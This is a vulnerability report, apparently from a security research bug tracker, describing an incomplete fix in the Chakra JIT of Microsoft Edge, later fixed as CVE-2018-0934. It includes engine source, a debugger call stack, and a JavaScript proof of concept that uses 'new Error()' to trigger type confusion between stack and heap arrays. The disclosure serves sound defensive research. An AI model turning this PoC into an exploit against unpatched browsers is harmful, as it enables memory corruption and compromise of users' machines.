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Issue metadata

Status: Fixed
Closed: Mar 2018

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Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete #2

Project Member Reported by, Jan 9 2018

Issue description

Here's a snippet of JavascriptArray::BoxStackInstance.
    template <typename T>
    T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
        // On the stack, the we reserved a pointer before the object as to store the boxed value
        T ** boxedInstanceRef = ((T **)instance) - 1;
        T * boxedInstance = *boxedInstanceRef;
        if (boxedInstance)
            return boxedInstance;

        const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
        if (ThreadContext::IsOnStack(instance->head))
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
                inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
                T, instance, true, deepCopy);
        else if(inlineSlotsSize)
            boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
            boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);

        *boxedInstanceRef = boxedInstance;
        return boxedInstance;

The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef".

My idea for bypassing the fix was:
1. In any way, invoke the method with "deepCopy" set to false.
2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array.

And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false.

Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()":
#0  Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0)
    at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801
#1  0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1)
    at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364
#2  0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353
#3  0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273
#4  0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82
#5  0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1)
    at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168
#6  0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, 
    callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0)
    at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955
#7  0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff, 
    returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883
#8  0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030)
    at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74
#9  0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127

I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC.

// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.

function inlinee() {
    new Error();
    return inlinee.arguments[0];

function opt(convert_to_var_array) {
    To make the in-place type conversion happen, it requires to segment.

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Project Member

Comment 1 by, Jan 9 2018

Summary: Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete #2 (was: Microsoft Edge: Chakra: JIT: The fix for 1420 is incomplete #2)
Project Member

Comment 2 by, Jan 11 2018

Labels: -Reported-2017-Jan-08 Reported-2018-Jan-08
Project Member

Comment 3 by, Mar 30 2018

Status: Fixed (was: New)
Project Member

Comment 4 by, Apr 3 2018

Labels: CVE-2018-0934
Project Member

Comment 5 by, Apr 3 2018

Labels: -Restrict-View-Commit

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